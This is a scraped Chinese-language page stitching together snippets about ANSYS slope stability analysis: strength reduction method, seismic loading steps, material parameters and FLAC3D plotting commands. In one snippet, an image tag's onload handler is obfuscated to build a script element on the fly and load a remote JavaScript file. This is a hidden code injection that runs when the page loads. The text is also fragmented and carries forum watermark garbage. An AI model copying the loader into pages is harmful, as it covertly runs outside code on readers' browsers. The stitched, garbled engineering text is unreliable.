ANSYS邊坡滲流分析的案例
分享:邊坡的有限元分析及ANSYS軟件對(duì)邊坡開(kāi)挖的模擬
介紹了一種國(guó)際上通用的有限元計(jì)算程序—ANSYS,并將ANSYS程序與巖土工程計(jì)算相結(jié)合時(shí),詳細(xì)探討了ANSYS模擬
邊坡開(kāi)挖的方法,并將這一方法運(yùn)用到某個(gè)水電站的穩(wěn)定性分析中;分別計(jì)算出邊坡的剖面在天然狀態(tài)和開(kāi)挖工況下的應(yīng)力場(chǎng)和
位移場(chǎng),作者對(duì)計(jì)算結(jié)果進(jìn)行了詳細(xì)的分析,并對(duì)平面問(wèn)題的邊坡穩(wěn)定性作出了定性的評(píng)價(jià)。
關(guān)鍵詞:有限元計(jì)算;ANSYS軟件;邊坡開(kāi)挖;成果分析;評(píng)價(jià).
ANSYS強(qiáng)度折減法邊坡穩(wěn)定性分析及地震荷載分析 ￥30
采用ANSYS有限元強(qiáng)度折減方法對(duì)滑坡穩(wěn)定系數(shù)進(jìn)行求解，通過(guò)有限元強(qiáng)度折減方法對(duì)不同工況下滑坡穩(wěn)定系數(shù)進(jìn)行計(jì)算，并將模擬計(jì)算值與極限平衡方法進(jìn)行對(duì)比，驗(yàn)證了強(qiáng)度折減方法的有效性。
有限元強(qiáng)度折減法是20世紀(jì)70年代末由英國(guó)科學(xué)家Zienkiewicz提出的，是通過(guò)不斷提高強(qiáng)度折減系數(shù)來(lái)降低坡體巖土抗剪強(qiáng)度參數(shù)，并反復(fù)試算，直到達(dá)到極限破壞狀態(tài)，程序自動(dòng)根據(jù)彈塑性有限元計(jì)算結(jié)果得到滑動(dòng)破壞面，同時(shí)得到滑坡的強(qiáng)度儲(chǔ)備安全系數(shù)。該方法在理論體系上比極限平衡法更嚴(yán)格，它全面滿(mǎn)足了靜力許可、應(yīng)變相容以及土體的非線性應(yīng)力-應(yīng)變關(guān)系。
地震荷載加載前需要對(duì)模型進(jìn)行模態(tài)分析求解，來(lái)獲得固有頻率及瑞麗阻尼系數(shù)，然后再對(duì)模型進(jìn)行動(dòng)態(tài)加載。
第一步：模型建立、施加邊界條件、自重工況下強(qiáng)度折減
第二步：模態(tài)分析求解
第三步：求解瑞麗阻尼系數(shù)、地震波加載
展開(kāi) 尾礦壩滲流分析ansys源程序 ￥3.2
ansys尾礦壩滲流分析，源程序見(jiàn)“付費(fèi)”后的附件中。
用ANSYS做邊坡穩(wěn)定分析
用ANSYS做邊坡穩(wěn)定分析的方法是：根據(jù)有限元程序計(jì)算得到的應(yīng)力場(chǎng)來(lái)計(jì)算各點(diǎn)的安全系數(shù)，然后
利用ANSYS強(qiáng)大的后處理功能繪出安全系數(shù)等值線圖，圖中安全系數(shù)最小的那條等值線就是最可能的滑裂面，
其安全系數(shù)就是邊坡的安全系數(shù)。..........
用ANSYS做邊坡穩(wěn)定分析.pdf
ANSYS強(qiáng)度折減法邊坡穩(wěn)定分析實(shí)例
下面來(lái)大致描述ANSYS邊坡應(yīng)用實(shí)例
ANSYS邊坡穩(wěn)定性分析一般分以下幾個(gè)步驟：
①創(chuàng)建物理環(huán)境；②建立模型，劃分網(wǎng)格，對(duì)模型的不同區(qū)域賦予特性
③加邊界條件和載荷；④求解；⑤后處理（查看計(jì)算結(jié)果）
巖土高邊坡模型與網(wǎng)格劃分
邊坡圍巖材料參數(shù)
表1 邊坡模型圍巖參數(shù)
類(lèi)別
彈性模量/GPa
泊松比
容重/
內(nèi)聚力
/MPa
摩擦角
（。）
圍巖1（彈塑性）
10
0.30
2645
0.8
32
進(jìn)行邊坡穩(wěn)定性分析計(jì)算時(shí)，采用強(qiáng)度折減法來(lái)實(shí)現(xiàn)。首先選取初始折減系數(shù)F，然后對(duì)邊坡土體材料強(qiáng)度系數(shù)進(jìn)行折減，折減后凝聚力以及摩擦角分別式（1）和式（2）。
強(qiáng)度折減系數(shù)F=1.0時(shí)計(jì)算結(jié)果分析
X方向變形云圖
整體位移矢量云圖
強(qiáng)度折減系數(shù)F=2.2時(shí)計(jì)算結(jié)果分析
強(qiáng)度折減系數(shù)F=2.24時(shí)計(jì)算結(jié)果分析
強(qiáng)度折減系數(shù)F=2.28時(shí)計(jì)算結(jié)果分析----求解不收斂，說(shuō)明此時(shí)邊坡發(fā)生失穩(wěn)。
展開(kāi) 【ANSYS算例】利用強(qiáng)度折減法對(duì)邊坡進(jìn)行穩(wěn)定分析
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202108/imgs/a56b193ab638461b9c8a36d9245e7e13"></p><p><strong>點(diǎn)擊藍(lán)字</strong> 關(guān)注我們</p><p><img src="https://img.jishulink.com/202108/imgs/255357fd6cdd4659a9d06ce34a12eaf0"></p><p><img src="https://img.jishulink.com/202108/imgs/fb94d1ef3ab34159ad3f7335d763cf74"></p><p> 好久沒(méi)有更新算例了，這期更新一個(gè)小算例，用強(qiáng)度折減法計(jì)算邊坡的穩(wěn)定性，用ANSYS軟件計(jì)算，ABAQUS的算例我前面寫(xiě)了兩篇，感興趣的可以看看。</p><p><br></p><p> 邊坡的尺寸及參數(shù)與之前的ABAQUS的邊坡算例相同。模型如下。
展開(kāi) CAD TO ANSYS TO FLAC3D邊坡穩(wěn)定性分析全程揭密
說(shuō)實(shí)話，我也是第一次做數(shù)值分析，也不知道上面的方式是否科學(xué)。剖面繪等值線程序來(lái)自論壇上前版主dynamax大牛的flac3d to tecplot，具體步驟如下，等命令流計(jì)算完畢后，call flac3d to tecplot文件即可，然后在tecplot 軟件中切剖面繪等值線，就可以進(jìn)行分析了。當(dāng)然用下面的命令：
plot set plane nor() ori()
plo cont smin plane
or plo cont smax plane
等等也可以得到某些剖面的位移或主應(yīng)力云圖。
[forum.simwe.com]邊坡穩(wěn)定性3D分析命令流.rar
展開(kāi) 基于ANSYS的碼頭邊坡強(qiáng)度折減法穩(wěn)定分析算例
1.影響邊坡穩(wěn)定性的主要因素
(1)邊坡材料力學(xué)特性參數(shù)：
包括彈性模量、泊松比、摩擦角、粘結(jié)力、容重、抗剪強(qiáng)度等參數(shù)。
(2)邊坡的幾何尺寸參數(shù)：
包括邊坡高度、坡面角和邊坡邊界尺寸以及坡面后方坡體的幾何形狀，即坡體的不連續(xù)面與開(kāi)挖面的坡度及方向之間的幾何關(guān)系，它將確定坡體的各個(gè)部分是否滑動(dòng)或塌落。
(3)邊坡外部荷載：
包括地震力、重力場(chǎng)、滲流場(chǎng)、地質(zhì)構(gòu)造地應(yīng)力等。
2. 強(qiáng)度折減系數(shù)
進(jìn)行邊坡穩(wěn)定性分析計(jì)算時(shí)，采用強(qiáng)度折減法來(lái)實(shí)現(xiàn)。首先選取初始折減系數(shù)F，然后對(duì)邊坡土體材料強(qiáng)度系數(shù)進(jìn)行折減，折減后凝聚力以及摩擦角分別見(jiàn)式1-1和式1-2。
土層材料參數(shù)
下面開(kāi)始進(jìn)行建模，通過(guò)點(diǎn)-線-面的方式逐步建立模型。
可在AutoCAD中找出關(guān)鍵點(diǎn)的坐標(biāo)，然后逐步開(kāi)始建模，也可以通過(guò)在CAD圖紙中創(chuàng)建面域，然后輸出為sat文件，之后導(dǎo)入到ANSYS中。兩種方式皆可。
各區(qū)域材料不同顏色顯示
采用Plane82單元來(lái)模擬，將單元選項(xiàng)設(shè)置為平面應(yīng)變Plane strain.
在ANSYS經(jīng)典中創(chuàng)建好的幾何模型
通過(guò)設(shè)置劃分網(wǎng)格單元尺寸，對(duì)上述幾何模型進(jìn)行劃分，有限元網(wǎng)格如圖所示。
對(duì)模型施加邊界條件，左右兩側(cè)約束法向位移，底部約束UX UY方向自由度。
（一）僅自重下的部分計(jì)算結(jié)果
靜力通用求解，自重下的位移分布矢量云圖。
UX方向位移云圖
UY方向位移云圖
（二）對(duì)土體參數(shù)進(jìn)行不同程度的折減，以下為折減系數(shù)為1.4時(shí)的部分計(jì)算結(jié)果。
考慮左側(cè)靜水壓力時(shí)的計(jì)算荷載示意圖。
展開(kāi) 『轉(zhuǎn)貼』CAD TO ANSYS TO FLAC3D邊坡穩(wěn)定性分析全程揭密
處理完畢后，這些數(shù)據(jù)點(diǎn)格式可以直接拷貝到記事本中，就成為符合ANSYS輸入要求的數(shù)據(jù)點(diǎn)格式了。仿真分析,有限元,模擬,計(jì)算,力學(xué),航空,航天,ANSYS,MSC,ABAQUS,ALGOR,Adina,COMSOL,FEMLAB,Matlab,Fluent,CFD,CAE,CAD,CAMV5Y2[#U?'S o4R
（2）有了數(shù)據(jù)點(diǎn)，就進(jìn)入到下一步，即由點(diǎn)在ANSYS中建立幾何模型。
通過(guò)數(shù)據(jù)點(diǎn)生成幾何模型的方法多種多樣，因人而異，沒(méi)有統(tǒng)一的方法。不過(guò)對(duì)于我來(lái)說(shuō)，個(gè)人覺(jué)得巖土工程模型比較復(fù)雜，最好是采用點(diǎn)生成線、線生面，面生成體的辦法。至于地質(zhì)界面，我是采用先生成面，然后切割體的方式生成。附件是我的ANSYS命令流，里面配有說(shuō)明，大家可以參考一下。附圖是按上述步驟得到的結(jié)果圖和網(wǎng)格模型圖，說(shuō)明一下，這些圖和我現(xiàn)在貼出的命令流得到的結(jié)果有些差異，原因是我后來(lái)更改了模型，不過(guò)步驟完全一樣；后面我提到的在ANSYS生成水面的方式也是采用面切割體的方式得到的。
希望我們大家能夠多多學(xué)習(xí)
展開(kāi) 